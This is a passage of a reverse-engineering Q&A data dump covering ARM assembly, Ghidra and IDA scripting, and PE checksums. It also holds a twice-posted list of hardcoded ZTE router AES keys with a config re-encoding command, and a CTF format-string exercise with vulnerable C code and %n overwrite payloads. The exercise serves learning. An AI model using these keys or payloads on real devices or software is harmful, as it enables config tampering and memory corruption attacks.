performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it wasn't simply SEH anti debugging technique (&lt;code&gt;signal&lt;/code&gt; function doesn't add a handler to the SEH chain) - in fact it used a different concept and detected debugger in a different way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I haven't found this anti debugging technique described anywhere, I hope this information will help someone, when he encounters such a technique during analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, since it is not stated in the book how OS checks whether an application is being debugged at point 4., it may be necessary to change the control flow of the program manually when an exception is being processed to force it to execute the handler.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-06-08T21:31:37.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25245" PostTypeId="1" AcceptedAnswerId="25251" CreationDate="2020-06-09T02:46:05.857" Score="1" ViewCount="154" Body="&lt;p&gt;I'm a little stuck trying to understand this simple piece of code. It get's a number in R0. The first part seems to be a R0 = abs(R0), but then it get's more difficult. The number of leading zeros is determined, then it's left shifted by that many bits and then it's checked if that is &gt; 0, otherwise 0 is returned. I don't get what the purpose of the entire shifting there is supposed to be and what the Add and additional shift operations are supposed to do there. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:0005B7BE ; =============== S U B R O U T I N E =======================================&#xA;ROM:0005B7BE&#xA;ROM:0005B7BE&#xA;ROM:0005B7BE sub_5B7BE&#xA;ROM:0005B7BE                 ANDS.W  R2, R0, #0x80000000&#xA;ROM:0005B7C2                 IT MI&#xA;ROM:0005B7C4                 NEGMI   R0, R0&#xA;ROM:0005B7C6                 CLZ.W   R3, R0&#xA;ROM:0005B7CA                 LSLS.W  R1, R0, R3&#xA;ROM:0005B7CE                 BEQ     retZero&#xA;ROM:0005B7D0                 RSB.W   R3, R3, #29&#xA;ROM:0005B7D4                 ADD.W   R3, R3, #1024&#xA;ROM:0005B7D8                 MOV.W   R0, R1,LSL#21&#xA;ROM:0005B7DC                 ADD.W   R2, R2, R3,LSL#20&#xA;ROM:0005B7E0                 ADD.W   R1, R2, R1,LSR#11&#xA;ROM:0005B7E4                 BX      LR&#xA;ROM:0005B7E6 ; ---------------------------------------------------------------------------&#xA;ROM:0005B7E6&#xA;ROM:0005B7E6 retZero&#xA;ROM:0005B7E6                 MOV.W   R0, #0&#xA;ROM:0005B7EA                 BX      LR&#xA;ROM:0005B7EA ; End of function sub_5B7BE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27992" LastActivityDate="2020-06-10T07:51:11.630" Title="Issue understanding simple ARM ASM function" Tags="|disassembly|decompilation|arm|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25246" PostTypeId="1" AcceptedAnswerId="25247" CreationDate="2020-06-09T05:10:22.140" Score="5" ViewCount="876" Body="&lt;p&gt;I'm debugging an ARM cortex M4 (STM32F4) running FreeRTOS.&#xA;Inside the assembly FreeRTOS function &lt;code&gt;vPortSVCHandler&lt;/code&gt;, there's a branch instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bx r14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using GDB, I step through instruction by instruction and find that r14 (lr) contains the value &lt;code&gt;0xfffffffd&lt;/code&gt; (not a valid address) immediately before the bx instruction is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, GDB doesn't follow the &lt;code&gt;bx&lt;/code&gt; instruction with &lt;code&gt;si&lt;/code&gt; (hangs), but I'm still able to &lt;code&gt;step&lt;/code&gt; via openOCD.  I find that the function that's branched to is in fact a valid function at address &lt;code&gt;0x08012abc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the ARM docs on &lt;code&gt;bx&lt;/code&gt;, its argument should be a register containing an address to branch to.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, I'm misunderstanding or looking at the wrong docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried tweaking &lt;code&gt;lr&lt;/code&gt; with GDB just before the branch instruction.  Changing it to &lt;code&gt;0x0&lt;/code&gt; or &lt;code&gt;0xfffffff7&lt;/code&gt; results in a hard fault shortly after the branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this branch instruction, when called with a value of &lt;code&gt;0xfffffffd&lt;/code&gt;, result in branching to a valid function at &lt;code&gt;0x08102abc&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="33492" LastActivityDate="2020-06-10T07:44:27.240" Title="ARM bx instruction branches to address not specified as argument" Tags="|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25247" PostTypeId="2" ParentId="25246" CreationDate="2020-06-09T06:08:55.667" Score="12" Body="&lt;p&gt;Values around &lt;code&gt;FFFFFFFF&lt;/code&gt; are used in Cortex-M for  &lt;em&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/Babefdjc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;exception returns&lt;/a&gt;&lt;/em&gt;&#xA;(ECX_RETURN). Currently defined values:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;0xFFFFFFF1 - return to Handler mode, restore state from main stack&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;0xFFFFFFF9 - return to Thread mode, restore state from main stack&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;0xFFFFFFFD - return to Thread mode, restore state from process stack&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So the actual branch address is taken from the stack (MSP or PSP, depending on the low bits of the value). See the linked document for more details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since GDB is mostly used for user-mode debugging, it does not expect such shenanigans and probably tries to set a breakpoint at the value of &lt;code&gt;LR&lt;/code&gt; which naturally fails. OpenOCD knows about exceptions and is able to step properly. &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-06-10T07:44:27.240" LastActivityDate="2020-06-10T07:44:27.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25248" PostTypeId="1" CreationDate="2020-06-09T09:16:27.740" Score="1" ViewCount="362" Body="&lt;p&gt;I am new to reverse engineering, How to work on the diffing results(Similar function) generated by Bindiff using IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*work is like finding no basic blocks, no of edges&lt;/p&gt;&#xA;" OwnerUserId="33339" LastActivityDate="2021-05-12T23:05:55.690" Title="How to work on diffing result generated by bindiff" Tags="|ida|idapython|bin-diffing|tool-bindiff|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25249" PostTypeId="1" CreationDate="2020-06-09T11:57:24.043" Score="10" ViewCount="5104" Body="&lt;p&gt;In Ghidra, the decompiler prepends various prefixes to variable names. For instance, &lt;code&gt;iVar1&lt;/code&gt; is an integer. However, there are a lot of prefixes that aren't immediately obvious, find some below, but I'm looking for a complete dictionary if anyone knows where it is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;local_31&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;auStack8320&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;uStack4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DAT_&amp;lt;addr&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19077" LastActivityDate="2021-06-16T15:29:21.907" Title="Is there a list of Ghidra's variable prefixes?" Tags="|ghidra|decompiler|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25250" PostTypeId="2" ParentId="21827" CreationDate="2020-06-09T12:36:56.640" Score="3" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://github.com/streetster/zte-config-utility&quot; rel=&quot;nofollow noreferrer&quot;&gt;zcu&lt;/a&gt; module to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python examples/encode.py config.bin.xml out.bin --key 'GrWM2Hz&amp;amp;LTvz&amp;amp;f^5' --signature 'ZXHN H108N V2.5'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Full disclosure: I wrote the &lt;code&gt;zcu&lt;/code&gt; module. It's based off of &lt;a href=&quot;https://pastebin.com/GGxbngtK&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; pastebin.&lt;/p&gt;&#xA;" OwnerUserId="17778" LastActivityDate="2020-06-09T12:36:56.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25251" PostTypeId="2" ParentId="25245" CreationDate="2020-06-09T14:05:23.680" Score="4" Body="&lt;p&gt;This is function &lt;code&gt;dflt&lt;/code&gt; (or &lt;code&gt;__aeabi_i2d&lt;/code&gt;) from the ARM compiler libraries. It performs a conversion of a 32-bit signed integer in &lt;code&gt;R0&lt;/code&gt; into a a soft-float &lt;strong&gt;double&lt;/strong&gt; (64-bit floating point value) in &lt;code&gt;R0:R1&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &lt;a href=&quot;https://en.wikipedia.org/wiki/Double-precision_floating-point_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;IEEE 754 double&lt;/a&gt; consists of a sign bit, 11-bit exponent and 52-bit fraction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 63  62             52 51                                         0&#xA;+------------------------------------------------------------------+&#xA;| s | exponent(11)    |           fraction(52)                     |&#xA;+------------------------------------------------------------------+&#xA;+------------------------------------------------------------------+&#xA;|           R1                |             R0                     |&#xA;+------------------------------------------------------------------+&#xA;31                           0 31                                 0  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value of the number is 2^(e-1023)*1.fraction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code calculates the exponent and fraction that would approximate the original value and puts it into R0:R1. The magic numbers in shifts are necessary to line up the fraction across the two registers and 1024 is the bias for the exponent.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-06-10T07:51:11.630" LastActivityDate="2020-06-10T07:51:11.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25252" PostTypeId="1" AcceptedAnswerId="25275" CreationDate="2020-06-09T14:08:37.297" Score="1" ViewCount="802" Body="&lt;p&gt;I have several applications that interact with the network, but the data is encrypted. I set breakpoints on send ws2_32.dll and found the correct buffer in which the encrypted data was located (then I checked the call stack to find the encryption function used), but this did not lead to anything good, for example, breakpoints for reading and entries in. If you have information describing the process of searching for packages in programs or in examples / books. I'll be happy&lt;/p&gt;&#xA;" OwnerUserId="33495" LastActivityDate="2020-06-11T11:18:23.167" Title="Decrypt application protocol packet" Tags="|unpacking|decryption|patch-reversing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25254" PostTypeId="2" ParentId="4543" CreationDate="2020-06-09T15:08:54.290" Score="7" Body="&lt;p&gt;The answer should really state what the difference is between a virtual thunk and a non virtual thunk. They are identical in operation but just have a different name. The thunk for a virtually inherited base class is called a virtual thunk and the base object will be at the end of the object, whereas a thunk for a regularly inherited class whose object is not at the start of the object is called a non virtual thunk.&lt;/p&gt;&#xA;&lt;p&gt;If you have C inherits from A and B, then A's virtual pointer will be at the start of the object (with C's vtable pointer for A pasted over it) and therefore doesn't require a pointer offset to the start when calling methods of type C* with an A*, and subobject B (with C's vtable pointer for B pasted over it) will be at an offset in the object. The virtual table for B will have to contain a non-virtual thunk that will offset to the pointer to the start of the object because the method that's being called virtually is one of C that accepts a pointer to a C object and if this virtual table is used then it will be receiving a polymorphically cast pointer to B, hence the need for the call in the table to be a thunk.&lt;/p&gt;&#xA;&lt;p&gt;If you have D inherits from B and C, and B and C inherit virtually from A, then this means that B's virtual table pointer will be at the start of the object (with D's vtable for B pasted over it) and C's vtable pointer (with D's vtable pointer for C pasted over it) will be at an offset and requires a non virtual thunk when it is called which will be when the object pointer it is called on is cast to a C* type. A and its vtable pointer (with D's vtable for A pasted over it) will be at the end of the object and will instead require a virtual thunk in the vtable instead of the actual virtual method, and the virtual thunk calls the actual virtual method, and this gets called when the method is called on an object pointer cast to A*.&lt;/p&gt;&#xA;&lt;p&gt;The virtual thunk offsets the object address by e.g. - 32 (wherever the virtual base object is) and the non virtual thunk offsets the object address by e.g. - 16 (wherever the 2nd subobject is). Basically, a virtual thunk offsets an object of type of a virtually inherited class to the start of the object when calling a method that is defined in the most derived class. The virtual thunk is for virtually inherited classes, which only have 1 special object within the object rather than multiple. If you didn't virtually inherit, there would be multiple of those objects within the object, and youd use a non virtual thunk to offset them when calling a method in the most derived class&lt;/p&gt;&#xA;" OwnerUserId="32847" LastEditorUserId="32847" LastEditDate="2021-03-01T13:56:39.660" LastActivityDate="2021-03-01T13:56:39.660" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25255" PostTypeId="2" ParentId="11626" CreationDate="2020-06-09T18:43:54.923" Score="3" Body="&lt;p&gt;came across these keys and sharing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Known AES keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  zxhn h118n ert5                      - 'MIK@0STzKpB%qJZe'&#xA;  zxhn h118n V2.1.3_ROSCNT?            - 'MIK@0STzKpB%qJZf'&#xA;  zxhn h168n v3                        - '402c38de39bed665'&#xA;  zxhn h298n hv17_fv116_mts?t1         - 'Wj' (due to bug, orig. is 'Wj%2$CjM')&#xA;  zxhn h298a hw1.1.20_fw1.1.20_ros_t1? - 'm8@96&amp;amp;ZG3Nm7N&amp;amp;Iz'&#xA;  zxhn h108n hw1.2_fw2.5.4_eg1t8_ted,&#xA;  zxhn h108n hv11_fv2_5_4_*            - 'GrWM2Hz&amp;amp;LTvz&amp;amp;f^5'&#xA;  zxhn h168n hv10_fv310t3_belt         - 'GrWM3Hz&amp;amp;LTvz&amp;amp;f^9'&#xA;  zxhn h208n hv10_fv1010_belt16t1      - 'Renjx%2$CjM'&#xA;  zxhn h267n hv10_fv100t3_belt         - 'tHG@Ti&amp;amp;GVh@ql3XN'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33502" LastActivityDate="2020-06-09T18:43:54.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25256" PostTypeId="2" ParentId="14711" CreationDate="2020-06-09T18:46:03.387" Score="2" Body="&lt;p&gt;came across these keys and sharing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Known AES keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  zxhn h118n ert5                      - 'MIK@0STzKpB%qJZe'&#xA;  zxhn h118n V2.1.3_ROSCNT?            - 'MIK@0STzKpB%qJZf'&#xA;  zxhn h168n v3                        - '402c38de39bed665'&#xA;  zxhn h298n hv17_fv116_mts?t1         - 'Wj' (due to bug, orig. is 'Wj%2$CjM')&#xA;  zxhn h298a hw1.1.20_fw1.1.20_ros_t1? - 'm8@96&amp;amp;ZG3Nm7N&amp;amp;Iz'&#xA;  zxhn h108n hw1.2_fw2.5.4_eg1t8_ted,&#xA;  zxhn h108n hv11_fv2_5_4_*            - 'GrWM2Hz&amp;amp;LTvz&amp;amp;f^5'&#xA;  zxhn h168n hv10_fv310t3_belt         - 'GrWM3Hz&amp;amp;LTvz&amp;amp;f^9'&#xA;  zxhn h208n hv10_fv1010_belt16t1      - 'Renjx%2$CjM'&#xA;  zxhn h267n hv10_fv100t3_belt         - 'tHG@Ti&amp;amp;GVh@ql3XN'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33502" LastActivityDate="2020-06-09T18:46:03.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25257" PostTypeId="1" CreationDate="2020-06-09T22:36:18.607" Score="2" ViewCount="273" Body="&lt;p&gt;I encountered a print format vulnerability challenge in a CTF. I don't know anything about these vulnerabilities, so I'm working my way through Saif El-Sherei's format string exploitation tutorial from exploit-db.com (&lt;a href=&quot;https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf&lt;/a&gt;). But, I'm getting stuck really early on. I'm hoping someone can point out where I'm going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some code I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;void nicefunction()&#xA;{&#xA;        printf(&quot;you are in the nice function!\n&quot;);&#xA;}&#xA;void notnicefunction()&#xA;{&#xA;        printf(&quot;you are in the NOT nice function!\n&quot;);&#xA;}&#xA;int foo()&#xA;{&#xA;  void (*fptr)() = &amp;amp;nicefunction;&#xA;  char buf[100];&#xA;&#xA;  puts(&quot;Please enter a string. &quot;);&#xA;  fgets(buf,80,stdin);&#xA;  puts(&quot;Here's your string&quot;);&#xA;  printf(buf);&#xA;  puts(&quot;\nNow we call the nice function&quot;);&#xA;  (*fptr)();&#xA;  return 0;&#xA;}&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;  foo();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is to craft an input string that I can use to change fptr to point to notnicefunction. I compiled it with: &lt;code&gt;gcc -m32 -g test.c -fno-stack-protector -z execstack -o test&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the binary under gdb and added before and after breakpoints. When I enter the string &quot;AAAA&quot; and then do x/20xw $esp afterwards, I see my 0x41414141 in the stack, at 0xffffd018. If I rerun and enter the string &quot;AAAA %6$x&quot; I get AAAA 41414141. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to find the address of fptr. Using nm, I see that it should contain the value of 0x0804849b (the address of nicefunction). My goal is to change it to 0x080484b4, the address of notnicefunction. I rerun with AAAA, and then examine the stack until I find the address that contains 0x0804849b. That's 0xffffd07c, 0x64 (100d) words deeper in the stack from the start of buf. Which makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to control the contents of fptr by using %n. So I crafted this input string: \x7c\xd0\xff\xff\xff\xffAAAA%5$x%n. I think this should change the contents of 0xffffd07c to 13d. But instead I segfault in the printf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I tried writing my fptr address into the start of the buffer, just to see if I was writing the address correctly. But when I checked it in gdb, it had the ASCII representation in it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/20xw $esp+8&#xA;0xffffd018: 0x6337785c  0x3064785c  0x6666785c  0x6666785c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the problem is that bash doesn't like my hex literals. I guess I could fix this with redirection from a file. But if anyone knows of a cleaner way to handle this, I'd love to know about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MOAR UPDATE&lt;/strong&gt;: Pawel's comment below got me past the how-do-I-get-hex-bytes-into-this-binary hurdle. But I was still segfaulting on my %n. But the segfaults went away when I changed %5$x %n to %x %x %x %x %x %n. Now I am able to (sort of) control the contents of arbitrary stack memory. Whoohoo!&lt;/p&gt;&#xA;" OwnerUserId="28051" LastEditorUserId="28051" LastEditDate="2020-06-10T22:02:00.707" LastActivityDate="2020-11-08T00:01:35.187" Title="Newbie problems exploiting a format string vulnerability" Tags="|linux|c|exploit|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25259" PostTypeId="2" ParentId="25257" CreationDate="2020-06-09T23:51:51.530" Score="0" Body="&lt;p&gt;I am not sure the &lt;code&gt;%n&lt;/code&gt; takes the next argument after the &lt;code&gt;%5$x&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;\x7c\xd0\xff\xffAAAA%6$n&lt;/code&gt;. Seemed to work for me.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-06-09T23:51:51.530" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25260" PostTypeId="2" ParentId="25252" CreationDate="2020-06-10T00:03:23.870" Score="2" Body="&lt;p&gt;The encryption routine is not likely to be in your call stack because it is not actually going to &lt;em&gt;call&lt;/em&gt; the send function directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you set a watch point inside the buffer to catch whenever the buffer is written to. Routines that write to the buffer will probably be reading from some input buffer. There could well be a few steps of adding headers/checksums but if you keep going backwards you may find a function which reads unencrypted data and writes encrypted data.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-06-10T00:03:23.870" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25261" PostTypeId="1" AcceptedAnswerId="25264" CreationDate="2020-06-10T08:50:39.840" Score="0" ViewCount="2983" Body="&lt;p&gt;I'm using Ghidra to reverse engineer an EXE file and save its assembly line code only. Does Ghidra have any function or scripts which exports the assembly line code? I don't want to manually copy the code from the Listing window.&lt;/p&gt;&#xA;" OwnerUserId="33506" LastEditorUserId="245" LastEditDate="2020-06-24T11:49:41.587" LastActivityDate="2020-06-24T11:49:41.587" Title="Extracting Assembly line code from an executable in Ghidra" Tags="|assembly|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25262" PostTypeId="1" AcceptedAnswerId="25265" CreationDate="2020-06-10T10:15:20.913" Score="1" ViewCount="202" Body="&lt;p&gt;I'm writing an IDA python script, and i need to be able to detect position independent code. I have an instruction that IDA displays using the operand name 'format'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rdi, format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when i use capstone disassembler or disassember.io it displays the instruction as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rdi, [rip + 0xd5a]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an ida python function that will return the instruction in the form of the register + the immediate offset instead of the relative value or operand name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;idc.get_operand_value&lt;/code&gt; but it returns the full address, not the register + offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried &lt;code&gt;idc.GetDisasm&lt;/code&gt; but that just returns the instruction as it's displayed in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hexbytes for the instruction are &lt;code&gt;48 8d 3d 5a 0d 00 00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Architecture is &lt;code&gt;i386 x86-64&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33508" LastActivityDate="2020-06-10T13:14:39.400" Title="Displaying Operands as Position Independent in IDA" Tags="|ida|x86|x86-64|offset|pic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25264" PostTypeId="2" ParentId="25261" CreationDate="2020-06-10T12:36:15.513" Score="6" Body="&lt;p&gt;Not sure if you ask about one line or the whole program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One assembly line can be obtain for example by such script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addr = toAddr(&amp;lt;address&amp;gt;)&#xA;print(currentProgram.getListing().getInstructionAt(addr))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if we are talking about the whole program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for instr in currentProgram.getListing().getInstructions(True):&#xA;    print(instr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I guess the last one can take a while. More information can be found in the docs about &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Listing.html&quot; rel=&quot;noreferrer&quot;&gt;Listing&lt;/a&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-10T12:36:15.513" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25265" PostTypeId="2" ParentId="25262" CreationDate="2020-06-10T13:14:39.400" Score="1" Body="&lt;p&gt;Options-General-Analysis-Processor specific options, [x] Explicit RIP-addressing.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-10T13:14:39.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25266" PostTypeId="1" AcceptedAnswerId="25267" CreationDate="2020-06-10T14:42:15.320" Score="0" ViewCount="233" Body="&lt;p&gt;I have a &quot;Hello World&quot; console app compiled with Flat Assembler. The size of the executable is 2048 bytes and the checksum is 0x3797.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it matter if I make changes to the data section and minor change to code section of the executable while maintaining the same checksum?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not really changing the opcode, just inserting different &lt;code&gt;input.Length&lt;/code&gt; (length of null-terminated text string in data section)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     push 0xfffffff5 // - 11&#xA;     call DWORD PTR ds:0x40304c // .idata [GetStdHandle]&#xA;     push 0x0&#xA;     push 0x401014&#xA;     push [input.Length]&#xA;     push 0x401000 // .data&#xA;     push eax&#xA;     call DWORD PTR ds:0x403050 // .idata [WriteConsole]&#xA;     push 0x0&#xA;     call DWORD PTR ds:0x0403048 // .idata [ExitProcess]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does it still run even though I use different checksum?&#xA;For example, it still run even if I change the checksum to 0x995A or 0x5A99.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;ImageHlp.dll&lt;/code&gt; to compute the checksum as summarized below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int HeaderSum = 0;&#xA;int CheckSum = 0;&#xA;IntPtr ptrHeaderSum=Marshal.AllocHGlobal(sizeof(int));&#xA;Marshal.WriteInt32(ptrHeaderSum, HeaderSum);&#xA;IntPtr ptrCheckSum = Marshal.AllocHGlobal(sizeof(int));&#xA;Marshal.WriteInt32(ptrCheckSum, CheckSum);&#xA;UInt32 status= ImageHlp.MapFileAndCheckSumA(@&quot;D:\19_02_21.exe&quot;, ptrHeaderSum, ptrCheckSum);&#xA;&#xA;Console.WriteLine(status);&#xA;CheckSum = Marshal.ReadInt32(ptrCheckSum);&#xA;Console.WriteLine(CheckSum);&#xA;&#xA;Marshal.FreeHGlobal(ptrHeaderSum);&#xA;Marshal.FreeHGlobal(ptrCheckSum);&#xA;Console.ReadLine();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user33509" LastActivityDate="2020-06-10T16:15:16.017" Title="Why does an executable still run despite changes to checksum, or changes to data section without new checksum?" Tags="|windows|pe|c#|reassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25267" PostTypeId="2" ParentId="25266" CreationDate="2020-06-10T16:15:16.017" Score="0" Body="&lt;p&gt;The PE checksum is only checked for drivers by the kernel, for the user-mode binaries it's optional. As mentioned &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-mapfileandchecksuma&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the doc&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Checksums are required for kernel-mode drivers and some system DLLs.&#xA;  The linker computes the original checksum at link time, if you use the&#xA;  appropriate linker switch. For more details, see your linker&#xA;  documentation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The linker option is &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/release-set-the-checksum&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;/RELEASE&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The /RELEASE option sets the Checksum in the header of an .exe file.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The operating system requires the Checksum for device drivers. Set the&#xA;  Checksum for release versions of your device drivers to ensure&#xA;  compatibility with future operating systems.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The /RELEASE option is set by default when the /SUBSYSTEM:NATIVE&#xA;  option is specified.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-10T16:15:16.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
